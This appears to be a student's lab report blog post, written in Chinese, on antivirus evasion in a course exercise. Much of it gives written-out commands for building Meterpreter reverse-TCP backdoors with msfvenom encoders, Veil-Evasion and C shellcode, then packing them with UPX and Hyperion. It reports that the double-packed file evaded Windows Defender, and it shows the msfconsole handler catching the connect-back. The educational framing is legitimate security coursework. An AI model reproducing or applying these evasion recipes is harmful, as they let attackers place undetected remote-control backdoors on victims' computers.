一.实践内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

veil,加壳工具

使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二.实验要求

掌握免杀原理与技术

回答问题

(1)杀软是如何检测出恶意代码的?

答:基于特征码,有3种方法

1、计算校验和

2、提取特征字符串

3、提取程序产生的系统调用

(2)免杀是做什么?

答:免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。如我们实验中使用的加壳技术。

(3)免杀的基本方法有哪些?

答:

1.直接修改特征码的十六进制法。

2.修改字符串大小写法。

3.等价替换法。

4.指令顺序调换法。

5.通用跳转法。

6.一键加壳法。

三.实验过程

任务一 学会正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

首先我们对实验二中生成的后门程序进行检测

检测实验二的后门软件,可以看到,结果是,69款杀毒软件中,有53款能够检测出来此后门软件。

我们使用msf编码器,生成exe文件(20192422_msf.exe)

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.56.107 LPORT=2422 -f exe > 20192422_msf.exe//生成一个exe文件

可以看出依然是能够被大多数杀毒软件检测出来

现在我们多次编码生成一个新exe文件

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.56.107 LPORT=2422 -f exe > 20192422_msf1.exe//生成一个新exe文件,迭代20次

可以看出,即迭代对于后门程序的免杀几乎没用,仅仅只降低了2款。通过查询知道,这是因为msfvenom生成的exe文件是由固定的模板的,很多AV也会根据这个特点进行查杀

接着我们试试生成其他类型的文件

jar格式

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.107 LPORT=2422 x > 20192422_msf.jar

php格式

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.107 LPORT=2422 x> 20192422_msf.php

可以看出,相对于exe文件,jar和php文件更难以被检测出来。

以上的测试文件如下

现在我们安装加壳工具veil

apt-get -y install git

apt-get install libncurses5*

apt-get install libavutil55*

apt-get install gcc-mingw-w64*

apt-get install wine32

apt-get update

apt-get install veil-evasion veil

veil//进入veil

使用veil-evasion生成后门程序

use evasion

use c/meterpreter/rev_tcp.py

set LHOST 192.168.56.107

set LPORT 2422

options

generate

veil_20192422ljj

生成了该exe文件

检测结果如下

现在我们进行c语言生成shellcode并加压缩壳

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.107 LPORT=2422 -f c

vi 20192422_shellcode.c//新建一个.c文件(注:记得添加主函数)

i686-w64-mingw32-g++ 20192422_shellcode.c -o 20192422ljj_shellcode.exe//编译c文件

检测结果如下

upx 20192422ljj_shellcode.exe -o 20192422ljj_shellcode1.exe //对其压缩加壳

检测结果如下

可见单次加壳对于防杀的效果微乎其微。

任务二 通过组合应用各种技术实现恶意代码免杀

c语言编写shellcode并进行压缩加密双加壳

首先将上一步实验的20192430ljj_shellcode1.exe 文件拷贝到 /usr/share/windows-resources/hyperion中

wine hyperion.exe -v 20192422ljj_shellcode1.exe 20192422ljj_shellcode2.exe//注:在当前位置输入

可见生成了双重加壳文件

然后我们将该exe文件传入主机中

然后主机进行扫描,并未发现威胁

可见双重加壳成功防杀了。

任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

电脑自带的杀毒软件Windows Defender

已经提前在主机对应文件中提前放入了raw文件

Kail:

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.56.101

set LPORT 8888

exploit

主机

shellcode_launcher.exe -i ljj.raw

可见回弹成功

四.实验中出现的问题

本次实验较为容易,只出现了一个问题

安装win32时出现错误

解决方法:通过查询学长学姐博客学习笔记,在虚拟机中依次输入以下代码即可解决

dpkg --add-architecture i386

apt-get update

apt-get install wine32

五.实验感想

通过本次实验,我简单了解到了电脑杀毒软件是怎样检测恶意软件,同时也了解到了免杀技术,同时对于其中的加壳,有了一些简单的实践。本次实验令我受益匪浅,我不仅加强了自己对恶意软件的防范意识,同时也意识到了自己电脑自带的杀毒软件的局限性,让我对自己的电脑安全进行了加强。

感谢老师的指导,同学们的帮助,期待下一次实验的到来。

posted on 2022-04-10 19:09  20192422李俊洁  阅读(71)  评论(0编辑  收藏  举报